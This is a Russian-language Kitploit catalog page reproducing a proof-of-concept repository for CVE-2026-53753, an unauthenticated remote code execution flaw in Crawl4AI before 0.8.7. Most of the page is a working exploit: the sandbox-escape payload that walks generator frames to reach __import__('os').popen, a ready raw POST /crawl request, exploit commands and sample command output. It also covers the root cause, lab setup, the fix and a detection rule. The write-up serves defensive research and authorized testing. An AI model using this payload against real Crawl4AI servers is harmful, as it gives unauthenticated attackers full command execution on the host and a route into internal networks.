Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 неаутентифицированное RCE (побег из песочницы AST через gi_frame.f_back). Лаборатория + PoC, подтверждено e2e. | Kitploit
Инструменты/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
Статический анализДинамический анализ (песочница)Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Лаборатории и Практика
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 неаутентифицированное RCE (побег из песочницы AST через gi_frame.f_back). Лаборатория + PoC, подтверждено e2e.

Репозиторий
1 месяц назадЕщё не проверено

CVE-2026-53753 — Crawl4AI Неаутентифицированное удаленное выполнение кода (обход песочницы AST)

Предварительная аутентификация RCE в Crawl4AI < 0.8.7. Сформированная схема JsonCssExtractionStrategy, отправленная на неаутентифицированный POST /crawl endpoint, достигает вычислителя вычисляемых полей (_safe_eval_expression), обходит его белый список AST через объекты фреймов Python, достигает реального builtins, и выполняет __import__('os').popen(<cmd>).read() — возвращая вывод команды внутри полосы в JSON-ответе.

CVECVE-2026-53753
AdvisoryGHSA-qxjp-w3pj-48m7
ЗатронутоCrawl4AI <= 0.8.6
Исправлено0.8.7
КлассCWE-94 (Code Injection) / обход песочницы Python
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
АутентификацияНет — поставляемая конфигурация имеет jwt_enabled: false
СтатусПОДТВЕРЖДЕНО — воспроизведено от начала до конца на официальном образе unclecode/crawl4ai:0.8.6

Содержание

  1. Корневая причина
  2. Анатомия полезной нагрузки
  3. Почему обход фреймов достигает реальных встроенных модулей
  4. Настройка лаборатории
  5. Запуск эксплойта
  6. Ожидаемый вывод
  7. Сырой HTTP-запрос
  8. Устранение неполадок
  9. Воздействие / Исправление / Обнаружение
  10. Проверка

Подробное погружение: см. ANALYSIS.md для пошагового обхода AST, стека фреймов во время выполнения, потока данных запроса и diff исправления.


1. Корневая причина

crawl4ai/extraction_strategy.py позволяет схеме извлечения определять вычисляемые поля — небольшие выражения Python, вычисляемые для каждого извлеченного элемента. Они выполняются _safe_eval_expression(), которая пытается поместить выражение в песочницу с помощью белого списка AST и урезанного __builtins__:

root@kitploit:~
# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Блокировка доступа к атрибутам с подчеркиванием, например __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # нет __import__, нет eval, нет open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

Валидатор — запрет по префиксу: он отвергает только имена, которые начинаются с _ (плюс import). Эта единственная эвристика и есть вся песочница — и у нее есть три дыры, которые в сочетании дают полный обход:

Схема достигает этой функции без аутентификации: Docker API поставляется с security.jwt_enabled: false, поэтому зависимость токена /crawl — lambda: None.

2. Анатомия полезной нагрузки, строка за строкой

Выражение вычисляемого поля:

root@kitploit:~
(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

Разбор по частям:

Поскольку значение генератора — это os.popen(cmd).read(), stdout команды становится значением поля и отражается в ответе /crawl — внутренний оракул, OAST не нужен.

3. Почему обход фреймов достигает реальных встроенных модулей

Пока list(g) перебирает генератор, стек вызовов выглядит так:

root@kitploit:~
frame: _safe_eval_expression()      <-- реальные builtins  (__import__ живёт здесь)   ← f_back ×3
   └ frame: <expression> (eval)     <-- песочница builtins (_SAFE_EVAL_BUILTINS)        ← f_back ×2
        └ frame: <lambda>           <-- песочница                                       ← f_back ×1
             └ frame: <genexpr> g   <-- ВЫПОЛНЯЕТСЯ; g.gi_frame — это фрейм             ← gi_frame

g.gi_frame.f_back заполняется только пока генератор выполняется (именно поэтому генератор должен ссылаться сам на себя и запускаться через list(g) — незапущенный генератор имеет f_back is None). Проход по f_back три раза попадает на фрейм _safe_eval_expression, чей f_builtins — это полный модуль встроенных функций — из которого __import__ извлекается через subscript.

Глубина фрейма стабильна для этого пути кода: f_back × 3 корректно для Crawl4AI 0.8.6 _safe_eval_expression.

4. Настройка лаборатории

Официальный образ содержит уязвимую конфигурацию по умолчанию (без аутентификации):

root@kitploit:~
# Вариант A — docker compose (обычный хост Docker с bridge-сетью)
docker compose -f lab/docker-compose.yml up -d

# Вариант B — простой docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

Подождите ~20 секунд, пока прогреется пул браузеров (docker logs crawl4ai-vuln → Application startup complete).

5. Запуск эксплойта

root@kitploit:~
# Просмотр тела запроса без отправки:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# Запуск (stdout команды возвращается в ответе):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py использует только стандартную библиотеку Python — никаких зависимостей.

6. Ожидаемый вывод

root@kitploit:~
[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

Поле out — это живое состояние ОС (вывод id, uname, os-release контейнера), не эхо запроса — uid=999(appuser) — это сервисная учетная запись контейнера, доказывающая выполнение кода внутри хоста Crawl4AI. Уникальный echo <marker> отражается дословно, подтверждая, что команда действительно выполнилась.

7. Сырой HTTP-запрос

root@kitploit:~
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
  • raw://… делает запрос самодостаточным — не требуется исходящая выборка; атакующий предоставляет HTML встроенным образом.
  • baseSelector: "div" просто должен соответствовать элементу, чтобы вычисляемое поле было оценено. Для реальной цели краулинга используйте любой селектор, соответствующий странице.

8. Устранение неполадок

9. Воздействие

Любой клиент, имеющий сетевой доступ, выполняет произвольные команды ОС на хосте Crawl4AI без аутентификации в конфигурации по умолчанию — полный компрометация сервера и переход на любые внутренние ресурсы, к которым он имеет доступ.

Исправление

  • Обновитесь до Crawl4AI ≥ 0.8.7 (удаляет _safe_eval_expression; ключ вычисляемого поля expression отключен — вместо этого используйте ключ function с проверенным вызываемым объектом Python).
  • Защита в глубину: включите JWT (jwt_enabled: true + api_token) и никогда не открывайте API Crawl4AI для ненадежных сетей.

Обнаружение

Отмечайте тела POST /crawl (и /crawl/stream), содержащие gi_frame, f_back, f_builtins или любое computed поле с ключом expression.

Раскрытие / Авторство

  • Автор PoC: Caio Fabrício — github.com/BiiTts
  • Уязвимость принадлежит оригинальному репортеру CVE/advisory; этот репозиторий — независимое воспроизведение для защитных и образовательных целей.
  • Только для авторизованного тестирования безопасности.
Скачать инструмент
#ДыраПочему это важно
1gi_frame, f_back, f_builtins не начинаются с _Доступна вся поверхность интроспекции фреймов/генераторов Python.
2obj['__import__'] — это ast.Subscript, не ast.AttributeВалидатор никогда не проверяет ключи словарного subscript, поэтому ключ __import__ проходит.
3Цепочка f_back работающего генератора ведет к внешнему фрейму, чей f_builtins — это реальный builtinsОбходит урезанный _SAFE_EVAL_BUILTINS обратно к полному (__import__ и т.д.).
ФрагментРольПочему валидатор разрешает
(lambda: ... )()Создает область видимости функции, чтобы имя, связанное с walrus, жило в замыкающей ячейке.ast.Lambda не проверяется.
g := ( <expr> for i in [1])Привязывает генератор к g и тело генератора ссылается на g (самого себя).:= и выражения-генераторы не проверяются. (Walrus запрещён в итерабельной части генератора, поэтому помещен в элемент кортежа.)
list(g)Запускает генератор — чтобы его фрейм был активен при выполнении тела.list есть в безопасных встроенных модулях.
g.gi_frameОбъект фрейма генератора.gi_frame не начинается с _.
.f_back.f_back.f_backПоднимается вверх на три фрейма до того, у которого есть реальные встроенные модули.f_back не начинается с _.
.f_builtinsСловарь встроенных модулей этого фрейма (реальный).f_builtins не начинается с _.
['__import__']Извлекает __import__ из словаря встроенных модулей.Subscript словаря — не проверяется.
('os')__import__('os') → модуль os.Цель вызова — Subscript, не Name/Attribute.
.popen('id').read()Выполняет команду и возвращает её stdout.popen/read не начинаются с _.
СимптомПричина / исправление
Connection refused на :11235Контейнер еще прогревается, или ваш Docker-демон не имеет рабочей сети bridge. Подождите Application startup complete; если привязка порта не работает, запустите контейнер с --network host.
out — nullБазовый селектор не совпал ни с одним элементом — убедитесь, что HTML в raw:// содержит <div> (или измените baseSelector).
Работает на 0.8.6, но не на 0.8.7Ожидаемо — 0.8.7 удаляет _safe_eval_expression и полностью отключает ключ expression (исправление).